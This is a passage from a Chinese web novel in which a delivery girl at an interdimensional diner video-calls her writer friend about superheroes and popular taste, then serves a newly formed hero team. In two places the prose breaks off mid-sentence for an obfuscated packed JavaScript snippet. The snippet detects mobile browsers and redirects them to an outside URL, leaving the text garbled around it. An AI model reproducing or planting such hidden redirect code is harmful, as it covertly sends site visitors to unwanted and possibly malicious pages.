“这里当然也是个蠢故事,但已经比我之前的那个要强得多,还是周年纪念作,多响亮。战队第六人也很好,历来是高人气角色,可惜多少有些多余,毕竟合体只需要五个人。你说我是气氛组,可只有每次你们合体的时候,我才觉得自己是个局外人,”音速紫说,“而现在你走了,我就是唯一的女战士了——合体只需要五个人,是谁都行。你得到了自由,我得到了席位,谢谢你,我会连你的份一起努力的。” 仁美怔怔地瞪大了眼睛。 一旁的管理员吐了口气,转身走开。那些男人的表情也变得有些奇怪,他们互相望了又望,像等着对方说些什么,但谁也没开口。怎么了,刚刚音速紫说了什么不得了的话吗?是只有人类才能听懂的话吗? 最后,音速红鼓起掌来,其他人也跟着零零落落地拍手。音速红朝仁美点点头:“那就再见吧,祝你成功。” 剩下的人也跟着说出了同样的话。音速紫挥了挥手:“再见,祝你也能实现愿望。” 塔吉扬娜拉起仁美的手,要牵着她往前走。林雅婷也搂过她的肩膀,推着她朝前走去。 仁美跟着她们跨出一步,又回过头:“刚才,那团怪物突然发狂失控,是你做了什么吗?你的蝙蝠机器人的话……” 音速紫又歪着脑袋笑了。 “战斗权限,特殊造型,大火力武器……这样的特别限定版,你不想要吗?反正,我想要。” 21.有戏 金色的传送门关闭了,林雅婷、仁美,以及塔吉扬娜消失在门后。她们一离开,海风顿时停了下来,太阳也不再移动,海面没有一丝波纹,整个沙滩静止了。 然后,管理员说了声“回去”,五人便解除变身,随着她一起朝地铁站走去。每个人多少有些垂头丧气,除了音速紫。她又戴上了耳机,双手揣在棒球外套的衣兜里,摇头晃脑地朝前走。 走出一段距离之后,人群中的音速绿停了停,回过头来。 “你不走吗?这里马上要清场了。”他对我说。 啊,对,我也得回去。 于是我跟在他们后面,离开沙滩,走到车站,搭上回程的地铁。我也解除变身了,变回疲惫的夜班女工的样子,毫无违和地融入车厢。车厢里的乘客都有各自的事要忙,有各自的手机要看,没有人提起沙滩上发生的事。本来也是,这样的故事每一天都会在这里发生,没什么值得一提的。 我回到仁美住过的公寓了,远远看到踏板摩托还停在原地。我朝它走去的时候,一辆大货车在公寓门口停下,车厢上画着醒目的搬家公司的标志。几个工人从车上下来,急急忙忙地走进大楼。最后一个下车的是管理员。她朝周围扫视一圈,发现了我,但没认出我。 我就骑着摩托回去了。 回去的路上,我想好了120种理由,用来跟K解释我去了哪儿,干什么,以及为什么。当然说实话也是一种选项,但我看电视剧里,被同伴问起行踪的时候,主角总是会搪塞,很少有老实交代的,看来在这种时候撒谎才是人之常情。我想K可能会生气吧,我有些害怕;但又一想,他生气也是常有的事,就像外星人入侵地球,古代怪兽苏醒,神秘病毒泄漏,每天都会发生,我就又不怕了。 很快,踏板摩托一路颠簸着到了目的地。刚一看到店门口那块破招牌,我就熄火下车,轻手轻脚地推着车走,然后轻手轻脚地停好车,轻手轻脚地贴墙挪动到窗下,轻手轻脚地探出脑袋朝里望——K不在,厨房的灯暗着,店里一个人都没有,棒极了。我立刻翻窗跳进屋子。落地的瞬间,脚下突然一滑,险些摔倒。我这才发现店里满地沙子,到处都是,踩得鞋底打滑,桌椅也东倒西歪,还有瓷器和瓦罐的碎片丢在地上,看起来有些不好的事曾经在这里发生。 我一时愣住了,四下一看,吧台上放着什么东西。我走过去,发现那是一张发黄的纸条——是我之前放在这里的签收单,它一直被留在原位,只是纸张变色了,字迹也显得模糊。 ……我离开了多久? 我在PN0930才度过不到两天,这里到底过去了多久? 我不在的时候,这里发生了什么事? 店门突然被打开了。我吓了一跳,猛回过头,看到K从外面进来。他看到我也有些吃惊,原地一愣,然后皱起眉头。 “你去哪儿了,”K说,“一年了,我以为你跑了,不回来了。” 一年? 一年? 我才在PN0930过了两天,这里过去了一年?? 顿时,路上准备好的120种理由全部被我抛到脑后。我瞪大眼睛,环顾四周,又转头盯着K,试图从他脸上找到什么违和的蛛丝马迹。但他面无表情,看我的眼神就像没有开火的冰冷的灶头。 我屏住呼吸,试探着用手势问他:一年? “正好一年,”K说,“当时我想了好久,不明白你为什么要走,是我对你不好吗,还是在哪儿被什么人哄骗收买了,还是被抓走了,还是在沙漠里迷路,又没喝上水,原地枯成了柴火……我想了两分钟都没想明白,就不想了。” 哦,两分钟。 “现在这么一看,你这一年过得倒是不错,”K朝我瞥了一眼,“那为什么还要回来?看看店倒闭没有?来幸灾乐祸?” 我摇头,摇头。要是早知道在那儿的两天,这里会过去一年,我可能就……可能就先跟K说一声再走了。 “你走了,这家店也开不下去了,”K叹了口气,“客人太多,我实在忙不过来,也不想天天这么累,就不干了。今天过来看看还有什么能收拾能带走的东西,然后关门大吉。” 是吗,是我害得店倒闭了。我看着冷冷清清屋子,满地翻倒的桌椅,沾泥的脚印,有一瞬间的自责——但总觉得哪里不对劲。 真的是我害的吗? “说起来,你这一年到底去哪儿了?”K朝我瞥了一眼。 我还没回答,两个穿着工作服,戴着鸭舌帽的工人从后厨出来,看到K,立刻朝他鞠躬道歉。然后一个拿来扫帚,一个拿来抹布,就要开始收拾。 K连连上前摆手:“不用不用,没事,放着吧,不怪你们,是我把沙姜打翻,你们才会踩着沙子摔倒的。酱料洒了也没办法,是我的问题,你们先回去,这里我自己会收拾的。” 他们互相看看,还是帮着扶起了几把椅子,然后一前一后地离开了;离开前还朝我点头致意。 我看到他们帽子和工作服上的logo——是一直给店里送货的那家店。 都要关门了,还要送货干嘛? 再仔细一看,那两个好像也是我离开前正在搬货的工人。 我重新检视手里那张泛黄的纸条,有些潮湿,凑近鼻子问问,一股酱油味。 我转向K。 K撇过头去不看我。 我走到他面前看他。 K一抿嘴:“怎么?你能骗我,我就不能骗你?” 骗?我只是没有通知他,这叫骗吗?我捋起袖子,活动手指,准备跟他好好讲道理。谁知我刚伸手,K顺势把扫把一递:“愣着干嘛,干活,没看店里这么脏?” 我当然不接,他硬往我手里塞,正在僵持,突然从很近的某处传来一声 “叮”,没听过的陌生声音。不是玻璃的“叮”,也不是陶瓷的“叮,”是电子元件发出的那种模拟出来的不真实的“叮”。 K也听见了,皱起眉头:“你又从路边捡垃圾回来了?” 我摇头,还没弄明白声音是从哪儿来的,又是“叮——”一声。 “叮——” “叮——” 连着好几下,我终于反应过来,立刻夺过K手里的扫帚,一边划拉一边朝店门口移动。K狐疑地眯眼,看了我一会儿,转身回到厨房去了。 又一声“叮——”响起,我一步闪到门外,放下扫帚,确定K没在看我之后,伸手探入衣兜。 之前没有信号的手机,怎么突然就响了?我把它掏出来,看到屏幕亮着,好几个对话框堆叠在一起。原来收到信息是这样的画面。 我突然有了一种奇妙的感觉——这是我的手机,这些信息是别人发给我的,就像从天空的那一头朝我飞来的小鸽子,是朝我来的,是来找我的。我又想起那场沙滩排球,我把球打入对面的场地,得分,掌声和欢呼就响起来了,是为我而起的,是在给我鼓掌,给我欢呼。 这是我以前没有体验过的感受。好像把“我”用蘸了墨水的笔重重描了一遍,“我”变得很大,很醒目,是“我”,每一笔都在强调“我”。 “叮——”,新的信息来了。我回过神,想起那个女人教我的操作,点了一下屏幕,打开对话框,一下子,所有信息在屏幕上展开。 有戏:哈罗哈罗~你一直都没给我发信息,手机能用吗? 有戏:最近怎么样?忙吗?发生了新的故事了吗?遇到什么样的英雄啦? 有戏:那天你回去之后,我失眠了,激动得不得了,翻来覆去一晚上睡不着,一直在想和你说的话 有戏:可惜太匆忙了,你走了我才反应过来,还有好多想问的事 有戏:这两天总算忙完一个项目,有时间跟你说话了 有戏:我可以把你写进我的剧本里吗? 有戏:还有,你们老板炒的饭,真是超级香!我下次还要点! …… 全是她发来的,长长短短的方块字,像掰碎的巧克力,和我在她房间看到的文字一样。发送时间有同一天,也有相隔几天的,也许是之前没有信号,现在一下子全部收了进来。她的字太多,我读得又慢,前面的还没看完,又有新的“叮叮叮”接连不断响起。我索性把对话框一路划到最后——屏幕上出现了一张照片。 是她和她的猫的合照,她们一起坐在窗口的阳光里,她用一只手托着猫毛茸茸的下巴,另一只手高高举起,应该是拿着手机。猫眯着眼睛,仰起脖子,用脑袋顶她。 有戏:给你看看银角大王,入冬了,它胖了一圈,变小猪啦 我把照片放大了看,确实很猪。照片上的她倒是神采奕奕,比我上次看到她的时候白了一些,双眼明亮,唇色红润,身上的橘色毛衣沾满猫毛。 又是“叮——”的一声,一大堆文字从屏幕下方挤了进来。 有戏:对了,我拿到第一笔稿费啦!哼哼,我就说我会赚到钱的! 有戏:虽然没多少,但是可以给银角大王买点好罐头了,不能老让它跟着我吃苦 有戏:你那边呢?你的日常工作就是送餐吗?你老板会发薪水给你吗?发的是什么货币?你会拿去买什么? 有戏:……我一下子发那么多,你会嫌烦吗? 有戏:还是说,你压根没收到? 有戏:不可能,我都改了设定了! 有戏:收到了吗? 有戏:收到了吗?收到了吗? 发送时间是“刚刚”。这种情况,我是不是应该回复她什么?我点了点下面的输入框,弹出一个键盘,按键排得满满当当,每一个都标着弯曲的线条。我看着它们,陷入思索。 有戏:啊,我突然想到 有戏:你是不是不会打字? 有戏:你不会说话,应该也不懂拼音吧? 有戏:这样,如果你看到我的信息了,你就打个1 有戏:1在键盘上,数字键,最左边 天使の水晶泪:1 ……这是什么?这是我的名字?虽然都是很简单的文字,但拼凑在一起的意思多少有点令人费解。 有戏:哈哈!我就知道,我已经把设定改了,怎么可能没用! 有戏:哈哈哈哈! 有戏:哎呀……就是突然看到当年用过的网名,有点难为情…… 有戏:你要是想改名字的话,随便改吧,这个小号和手机都是你的了! 天使の水晶泪:1 有戏:……不行,这样下去我们也没法交流 有戏:而且这个名字让我好羞耻,早知道给你之前先把名字改了 有戏:你那里能打视频吗?如果可以的话,我们视频联系吧 我转头看了看店里,K还在厨房,可能有事在忙。于是我走开两步,走到踏板摩托后面,蹲下,缩起身体,尽量把自己藏进摩托的影子里,然后打出一个“1”。 “叮叮叮——叮叮叮——叮叮叮——”几乎同时,成串的电子音响了起来,屏幕上弹出一张巨大的猫脸。我手忙脚乱,险些摔了手机,一阵端详之后,终于发现猫脸下方有一红一绿两个按钮,绿色的按钮上写着“接受”两个字,于是我点了一下。 屏幕一闪,她的脸出现了,是会动的,旁边还有银角大王。画面一顿一顿地卡,声音也断断续续的,明明是真人,却像经费不足的动画片。 “哇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726226|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的能打通,这下就方便多了,”她在屏幕上卡卡地笑,“我就觉得,上次你来的时候,我看到的你是文字组成的,你心里想什么,脸上就会滚什么字——这不比打字方便吗?果然,视频的效果也是一样的,这下我们可以交流了。” 是吗?我看了看屏幕角落里我的脸,看上去很正常,一个字也没有。再看看她,呃……和刚才她发给我的照片上的样子好像有些区别,皮肤没有那么白,眼睛也没有那么大,神情有些憔悴,脸上还有几颗痘子,黑眼圈倒是比之前更深—— 她的表情一卡一卡地变了。 “拍照之后稍微做点美颜,是一件很正常的事,”她说,“你之前遇见的英雄们肯定有顶级容貌,因为他们是被创造出来的完美的角色。但我是普通人,是凡人,想要和他们一样好看,是需要美颜的。你不要少见多怪——何况我只是稍微磨了磨皮!” 磨皮?哦,是对照片做些处理吧。我点点头,表示明白。但其实就算是超级英雄,也不一定就对自己的外表满意……我想起仁美和林雅婷。 话又说回来,男英雄中,会有因为外貌而被挑剔,或者焦虑的人吗?我好像没怎么见过。 “确实,我也没见过,可能有吧,但应该不多,”她一卡一卡地搓了搓下巴,“一般来说,这队长那队长的,肯定是神级帅哥,他们是当代最高审美标准的体现,是不可能被挑剔的。东方的队长类型会稍微多一些,但也是人种特色和审美趋势选择的结果。队长以外的男英雄……帅的,普通的,丑的,兽形的,连形都没有的……这点倒是天下大同,你见过的肯定比我多。从我的角度,可以理解为是为了方便受众代入,才设置多种类型的配角。毕竟在过去,超级英雄的故事基本上是卖给男人的。他们需要一个憧憬的对象,也需要一个能代入自己的化身。” 这我倒是也能理解。但就算是反派,对女反派也有世俗意义上的审美要求,男反派就直接往吓人和恶心的方向走——这也是考虑代入吗? “……那就是另一回事了,”她说,“在很长一段时间里,超级英雄故事里的女性,不论正派反派,本质上都只有一个作用。” 我等着她往下说,她却卡卡地左顾右盼,盼了又盼,然后才开口:“你成年了吗?” 成年?我想了想,不算种子,光从发芽开始算……我大概2岁? “还这么小,那就不说了,” 她立刻转了话头,“好消息是,现在的观众和创作者中,女性群体的数量开始增加,对故事和角色都会造成影响……虽然这个变化可能有些慢。” 对,创作者,创作者能决定故事变成什么样吧?我记得她说过,那些故事都是像她这样的人创造出来的。 她却摇了摇头。 “那是我吹牛的,我们能凭自己的想法决定的部分其实很少,”她说,“故事里的规则固然是由我们创造的,但我们同时也被那个东西钳制。画布和稿纸都是有框架和界线的,是那东西给我们制定的规则,我们不能违反。所以我才说,变化的过程可能会比较漫长。” 那东西?什么东西? 她抬头看了看天花板。 我也下意识地跟着抬头,只看到云幕沉沉的浅紫色天空。我想起来了,上次在她的房间,她也说过类似的话,然后指了指天花板。我抬头去看的时候,穿过那些密密麻麻的交叠的文字,依稀看到有眼睛在眨动。 “束缚我们的规则,其实更准确的描述,应该是意识的洪流,”她说,“就像在人山人海的人行道上,你明明想往另一边去,但所有人都推着你,挤着你,你脱不开身,就算挣扎,也会被人群推着朝同一个方向走。” 是这样吗,我都是骑摩托的,倒是没有被推着往前走过。 “骑摩托当然也是一种选择,”她笑起来,“但我们也可以寻找那些方向一致的人。一个人会被人群冲走,两个人,三个人,更多的人聚集起来,手拉手慢慢地走,只要方向不变,总会到达目的地。” 我大概可以理解她的意思。林雅婷和仁美应该算是方向一致的人吧,她们手拉着手去了自己想去的地方。但那个地方也是被创作者创造出来的,所以……也会有意识的洪流吗?而且,超级英雄的存在形式从根本上取决于受众的喜好,完全背离观众口味的超级英雄,恐怕无法存在。 也就是说,可能就像管理员说的,就算她们去了那里—— “所谓的‘观众的口味’,‘大众的喜好’,这些都是可以被塑造被引导的,”她突然开口,打断了我的思路,“每年的流行色是时尚界的一小撮人讨论决定的,网络流行语是有传媒公司在背后策划推动的,流行的小说和剧本都有一套模板,局部微调就可以批量生产,流行的偶像明星是用数据和钱堆起来的,只要支持的声音足够响亮,就能让持不同意见的人闭嘴——大众的喜好被称为流行,但其实很多人并不知道自己喜欢什么,他们以为自己喜欢的,只是被其他人灌输到脑中的喜欢。所谓流行就是一小部分人在地图上按下钉子,另一部分人挥起鞭子,再有一部分人披上羊皮,一起把羊群朝那里赶。” 银角大王跳上了她的膝盖,她不说话了,低头挠起它的下巴。我觉得她说得有些道理,也许意识的洪流确实是可以被引导的。让探长戴上牛仔帽,让仁美穿上高跟鞋,都是引导的一部分。 那么,她呢?像她这样的创作者,是按下钉子的人,还是挥舞鞭子的人?而且她又怎么分辨,面前的人的喜欢是自发的,还是被灌输的? 话又说回来,她好像懂得很多的样子,但为什么还是赚不到什么钱? 她一下子抬起头来,眯着眼睛瞪我:“闭嘴。” 我没有说话呀。 22.薄荷巧克力及队友 我和她继续聊了一会儿,单方面出声的那种。我想知道仁美突然从故事里离开,世界线会怎么处理这一块空缺。她说,从她的角度,发生这样的突发事故确实比较头疼,只能尽量安排一个在剧情上不突兀的离场原因,比如突然出国,比如去执行秘密任务,再拼接一些旧的片段,尽可能地做到平滑过渡。 “我说的是我这一边的处理方法,仅供参考,”她说,“不过,原来角色也会自己离开啊……我以为每次突然换人,都是演员又出什么幺蛾子了呢。” 她刚说完这一句,银角大王跳上她身后的柜子,推倒一个冒着热气的马克杯。她的尖叫与K的大喊同时响起,于是我们用眼神和手势道别,通话结束了。 我回到店里,发现K喊我只是确认我在不在,大惊小怪。我试图朝他比出我在各条世界线学到的500种骂人的手势,但才刚伸出中指,他就转身去擦厨房的水池。呸。 我重新拿起扫帚,开始打扫店面。说起来,刚才应该问问她,人类会在什么情况下用口器触碰对方脸颊,这是否是比较常见的社交礼仪或者答谢方式?算了,下次再问吧。 打扫结束了,被K弄脏的屋子又变得干净。我放下手里的工具,看到窗外的天空也已经变了颜色。云层呈现出一种半透明的海蓝,沙漠像被罩进巨大的水泡;这里的夜晚来临了。 (我不知道把这个时间段称为“夜晚”是否正确,因为这里的时间并不来自星球的转动。不过反正也没人来管,我爱怎么叫就怎么叫。) 每到这个时候,店里会稍微空闲一些,可以正大光明地偷懒。我趴在窗口望着天空,那里看上去像一片飘着浮冰的海面,深沉的海水下有许多纤细的线条交错闪烁,朝前延伸。它们的变化比白天更清晰了,有些会越来越明亮,越来越粗壮,像春天里蓬勃生长的枝条,有些会逐渐黯淡,萎缩,也许明天就消失不见。如果耐心盯着一条线看,还有机会看到新的分支从主干诞生,朝不同的方向生长,仿佛大江分流出小河,又分流出小溪。 我盯着那些发光的线看了一会儿,看得眼皮发粘,不知不觉睡着了——应该是睡着了吧?反正,不知道从哪一刻开始,大脑陷入黑暗,思考被切断,意识消失了,就像还是种子的时候一样。我不怎么需要睡觉,所以很久没有过这种体验。这种感觉黏腻又舒适,就像沉入一片温暖的沼泽。 又不知道是从哪一刻开始,有一些声音断断续续地传入耳朵。大脑意识到“声音”的瞬间,它们像露出水面的礁石,一下子有了具体的形状——是脚步声和说话声,有人来了。我睁开眼睛,正好看到店门被推开,一个男人从外面走了进来。 是那个薄荷巧克力,他长高了一些,体型也变得更结实——不对,是画风变了,依旧是动画,但比之前的网络动画更精致流畅,色彩也更丰富了。他看到我,脚步在门口一停,脸上露出帧数充足的笑容,翡翠色眼睛在夜色里像宝石一样闪闪发光。 但他的右臂似乎受伤了,无力地垂在身旁,暗蓝色战衣下渗出血迹。是刚刚结束战斗吗? 他似乎要解释,还没开口,一只手搭上他的肩,另一个年轻人从他身后探出头来。 “哇,还真有这样的店,”年轻人两眼放光地四处打量,“我第一次知道。” 看来你也是第一次做超级英雄。 薄荷巧克力转头朝他笑笑,让到一边,又朝身后一招手。更多的人推搡着从门外进来了。有男有女,也有看不出男女的,一共六个人,一个个身上多少都带着伤。他们热热闹闹地占满了店里仅有的两张桌子。店里的画风也跟着变成了色彩鲜艳的动画。 好吧,偷懒暂停,来活了。 一个扎着高马尾的女孩子朝我挥手:“你好,点餐!”两个男人坐下来谈论刚才的战斗,一个黑色皮肤,一个褐色皮肤。薄荷巧克力坐在离吧台最近的位置,卸掉了右臂的软甲。他的小臂布满血泡,骨头好像碎成了几段,胳膊看上去像一截软趴趴的面条。一个长着蓝色透明鳞片的鱼人(人鱼?)坐在他旁边,在掌心凝起光球,开始为他疗伤。 刚才的年轻男人扑在吧台上,大声与K说话,说一些刚刚成为超级英雄的人常说的话:正义,同伴,勇气,梦想,以及真人电影。他漂亮的蓝眼睛闪闪发光。可惜K正忙着熬汤,锅里吐一个气泡,他就敷衍地应和一声。 这是支标准的西方配置的超级英雄团队,像他们这样的组合,我见过的数量比K洒在面包上的芝麻还多。点餐的时候,我稍微观察了他们身上的服装:统一颜色和款式的战斗服,在细节上做出个人特色的区分——一般来说,只有刚成立不久的组合才会这样。 (不过,那个女孩子也穿着和男人们一样的工装长裤,既没有轻薄贴身,也不是亮闪闪的胶衣质感,上衣拉链也没有因为技术原因卡在胸口,这一点倒是区别于73%的芝麻。) 薄荷巧克力之前似乎说过,“最近换了团队”,是指加入他们吗? 他们简单地讨论一番后,点了披萨和烤肉套餐,每个人又要了一份软饮料。店里少见地热闹起来——虽然这里只有两张桌子,但已经很久没有坐满过了。 我在厨房帮K打杂,听到他们吵吵闹闹地聊天,聊刚才的敌人,聊彼此的必杀技,聊下一次任务和剧情的发展。六个人同时聊着四五个话题,真亏他们还能聊得下去。从他们的交谈里,我拼凑出一场战斗:潜行,伏击,失散和包围,精巧的陷阱,紧密的配合,势均力敌的对手,从天而降的魔头……和大部分这个风格的超级英雄战斗一样,对抗进行到最后一刻,团队陷入危机,队友们纷纷负伤倒下,高光聚焦到关键的一人或二人身上—— “你平时看起来那么安静,不声不响的,没想到这么勇敢,”高瘦的黑人拍了拍薄荷巧克力的肩膀,“这次多亏你了。要不然,我们可能回不来了。” 最后的高光是他?这倒是让我有些意外。一般来说,给出最后一击的是队长,至少也是团队的灵魂人物。就像我当时遇到的她,虽然不是队长,但显然有着整个团队中数一数二的战斗力,足以在关键时刻扭转战局。 而薄荷巧克力……呃,嗯,倒不是看不起他的意思,只是他应该不是那类存在感强烈的醒目角色,更不像是队长。不过,或许是不同世界线的审美差异吧,也说不定他们的世界就流行这种温和与强大的反差感。 这么一想,我又觉得眼前这群闹哄哄的人亲切起来。当时她们的队伍也是这样,刚刚聚集起来的伙伴,刚刚取得的胜利,大家都很快乐,大口吃饭,大声说笑,一切充满希望。 不知道现在她们怎么样了,应该也在朝着目标一步步前进吧。要是能看到她再来店里吃饭,或者点个外卖就好了。她那么强大那么优秀,一定是故事的中心—— “这样一来,故事线应该会朝你偏移,”梳着雷鬼辫的褐色男人叼着吸管说,“在性命攸关的紧急时刻,挺身而出拯救队友的重要人物,不多来点个人剧情,说不过去吧?你又是观众最喜欢的年轻白皮帅哥,咱们的团队刚刚成立,你一下子抓住这个机会,人气马上就会爆的。” 高马尾女孩子立刻拍起手来:“好棒啊!下一集的封面说不定就是你了!当时那么危险,你顶住压力救了大家,这是你应得的!” 桌边的人都开始祝贺,鼓掌和碰杯的声音接连传来。但我总觉得气氛有些奇怪,转头朝吧台外看了看——一片热闹中,薄荷巧克力背对吧台坐着,他的右手已经恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740350|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复了,正在拿披萨吃。那个活泼的年轻男人坐在他对面,眼睛已经不发亮了,笑容也有些僵硬。 “怪我……我太胆小了,”年轻人说,“当时要是我也能站出来……也不至于让你一个人扛下伤害。” 啊,他才是队长,我猛然意识到这一点。这年轻人是标准的金发碧眼,身上的战斗服也比别人多了张扬的斗篷和护肩。不出意外的话,这个团队是围绕他建立起来的,他是队长,也是主角,是引导剧情发展的人。 所以,作为队长的他,因为胆怯,没能抓住高光的机会? “你第一次上战场,会紧张也是难免,不要责怪自己。”一个声音响起来了,是之前没听过的声音。我偏了偏脑袋,发现是薄荷巧克力在说话。说起来,他第一次来的时候,还是漫画,用不出声的对话框说话,第二次来虽然能动了,但因为是低成本的网络动画,他又是配角,所以也没能有开口说话的机会——原来他的声音是这样的,像加冰的薄荷汽水。 “我们的工作是守护世界,但首先要保证自己的安全,活着才能拯救更多的人,”薄荷巧克力说,“我站出来,因为我只是个配角,不算重要,能做的就是尽可能地为大家争取活下去的机会——我们还有很多故事要展开,不能断在这里。” 他的队友们安静下来了。年轻的队长眨着眼睛,有些茫然地望着他。 “你不害怕吗?”他想了想,开口问道。 薄荷巧克力挠了挠头:“怎么可能不害怕?我怕得不行,胳膊被打中也超级痛,我都哭了,还好你们没看见。” 高马尾女孩笑了,黑人和雷鬼辫也笑了,蓝色的人鱼(鱼人?)鼓着鳃,发出“噗噗”的笑声,又摸摸他受过伤的手臂。年轻的队长抿起嘴,喝了一口饮料,掩住笑容。 “所以,下次要是还有这样的事……我们大家一起上吧?”薄荷巧克力又说,“我真的很怕……” 队长站起来,隔着桌子俯身伸手,拍了拍他的肩:“好,下次大家一起上!我们是一个团队,不能让你独自面对危险!” “上封面的时候也要大家一起上!”高马尾女孩补充道。 “这次让你抢先出了风头,下次可就轮到我了。记得看我眼神行事。”雷鬼辫说。 六个人都笑起来。奇怪的气氛消失了,店里和谐得像任何一部王道英雄动画的结局:集体大笑,逐渐拉远的镜头,再过一会儿,片尾曲就会响起。 不得不承认,薄荷巧克力刚才说的话有些出乎我的意料。来店里的时候,他一直说着要努力,要继续往前走——原来他也做好了随时退场的准备吗? (不过,他到底会不会读心?难道是读心猜中了队友的想法,所以那么容易操控话题,还调动了他们的情绪?) “说起来,MG1208的星链骑士,好像要拍真人电影了,”高瘦的黑人开口道,“虽然他们最近一直是人气第一,不过这电影来得也太快了吧?听说同名游戏也在开发了。” “我们也会有的,”薄荷巧克力说,“只要大家一起努力,肯定会有的——毕竟我们的队长比他们的靠谱多了,不是吗?” 桌边的人又笑了,年轻的队长红着脸笑得像个炸皮的番茄。我转身折回厨房,打手势问K:这个人到底是谁? “你真忘了?”K反问我。又是这个问题,他怎么老是这么问我,难道我遗漏了什么非常重要的信息吗?我又转头,薄荷巧克力正在吃第二块披萨,他可真喜欢披萨。 “倒也不是说一定得记住,”K也朝那边的餐桌望去一眼,“不过非要说的话,你还是他接生的呢。” “噗”的一声,好像有人把披萨喷出来了。怎么,我们在这儿说话,他都听得见? 23.星链骑士的水果三明治 是吗,原来是薄荷巧克力给我接生的。 “接生”应该是人类的说法吧,对于我的族类,没有这样的程序。龙沼刺楸的种子发芽后,需要一年的时间生长,抽枝散叶;如果在这一年里顺利地长大了,没有在旱地里干枯,没有被雨水闷根,也没有不幸地卷入纷争或者被兢兢业业的斧子伐倒,光照充足,养料充沛,那么就会在主干上结出一个茧。我们小时候都是在茧里的。 茧会慢慢长大,从葡萄那么大,变成鸡蛋那么大,又变成苹果那么大,再变成西瓜,再变成巨大的西瓜。这个过程也需要差不多一年。这是我们最脆弱的时候,因为茧里有丰富的养分和水,很容易被动物或者其他东西当成大自然的馈赠。即使没有,有些茧也会因为长得太大太沉,从枝头断裂,掉下来,摔碎,砸烂,最后还是变成大自然的馈赠。 我问过K,关于我出生时的情况。但每次问,得到的回答都不一样,有时候我是送货的卡车送来的,有时候我是掉在垃圾桶里捡到的。从他无数次的创作中,我大致总结归纳的结果是——我的茧长了一年,在某个糟糕的暴风天里,它裂开了,我要出生了。 “外面全是黄沙,什么都看不见,店里的门窗地板屋顶都被风吹得‘砰砰’响,房子都快塌了,你还来添乱!”——这是在他的各个叙述版本中都会出现的一句话,真实度很高。 “然后你的茧掉下来,一下子就被风吹跑,滚出老远,转眼就给沙子埋了。要不是有人冲出去把你挖出来,不然哪还有你。”结合他今晚的回答,这条信息得以补全。 是吗,原来是薄荷巧克力把我挖出来的。 这么一想,我觉得应该去谢谢他。可我刚一转身,就看到他慌慌张张站起,跌跌撞撞跑走,匆匆忙忙出门,留下他不明所以的队友们。 “什么事那么急?”雷鬼辫问出了我的疑问。 薄荷巧克力走后,其他人过了一会儿也离开了。临走前,那个队长又跑去找K,说一些第一次来店里吃饭的超级英雄们常说的话:好吃,厉害,下次还来,以及外卖电话是多少。K正在腌一大条猪腿,两只手都忙着,就抬起胳膊肘点了点吧台上的名片,让他自己拿一张。 “打那个电话,报菜名,她就会把东西送来,账单季结。”K对猪腿说。 我看到那个高马尾女孩子踮起脚,凑到鱼人(人鱼?)旁边,小声问:“我们应该能撑到一个季度吧?”人鱼(鱼人?)吐了个泡泡。 他们走后,店里暂时安静下来,没有客人上门,也没有电话响起。K把处理好的猪腿放进冰箱,洗洗手开始揉面。他总有干不完的活,他也不用睡觉吗?我还以为人类是每天不睡几个小时,就会变丑然后死掉的脆弱生物。 (话又说回来,他好像也没说过自己是人?) 外面的天空慢慢变成透明的粉红色了,新的一天就要开始。K把面团放进烤箱发酵,我也打开了电视机——这个时间段,运气好的话能收到一档有意思的节目,是几个毛绒娃娃演的,红色的黄色的蓝色的,住在和它们一样色彩明快的房子里。我听不懂它们说的话,但光是看它们摇头晃脑,挥着软绵绵的胳膊,扭动肥嘟嘟的屁股,跟着爆米花似的曲子唱歌跳舞,就让我心情愉快。毛绒娃娃的世界在哪里?也有超级英雄吗?如果有的话,希望它们能打电话点餐,让我有机会身临其境。 ——电话响了,就在此时。 我“啪”地关了电视机。 K从厨房窗口探出身子,一只手抄起话筒,另一只手抓过旁边的纸笔,然后是一段惯常的“嗯嗯好好”。我试图从他的表情和语气中分析出电话那头是毛绒娃娃的可能性,但什么也没分析出来。 电话结束,K挂了听筒,把写了字的纸条往桌上一拍:“准备干活。” 我走过去拿起纸条,看到上面的收件人写着:星链骑士。 这个名字还是第一次见。 但总觉得最近才在哪儿刚听过。 星链骑士点了一大堆热狗汉堡塔可(150份),配可乐苏打水无糖咖啡(150份),普普通通的快餐全家桶,从点餐内容上什么都看不出来,能确定的只有他们的团队人数很多,或者胃口不错。我一眼扫到最后,看到菜单的尾巴上,写着“水果三明治”。 “水果三明治(要挤烂,挤得很烂,像被醉鬼吐出来一样烂)”。 从没看过这样的要求……超级英雄里真是什么人都有。 我拿着纸条走进厨房,比划着问K,怎么会有人点这个,是不是他耳朵瘸了听错了。K冷笑一声,说我少见多怪,让我去准备那堆快餐。然后,他自己取出发酵好的面团,从吐司开始,做水果三明治。 刚开始在这里干活的时候,我对水果类的餐点多少有些抵触,可能因为我也曾经是大自然的馈赠。看见K剥橘子,我会觉得脸疼,看见K切西瓜,我会觉得头疼,看见K把苹果葡萄丢进榨汁机,我浑身哪儿都疼。这样的情况持续了一段时间,直到某一天,一个直立行走的山猪超级英雄来到店里,要了一份脆皮烤肉,风卷残云吃了个干净——那之后,我的幻痛治好了。 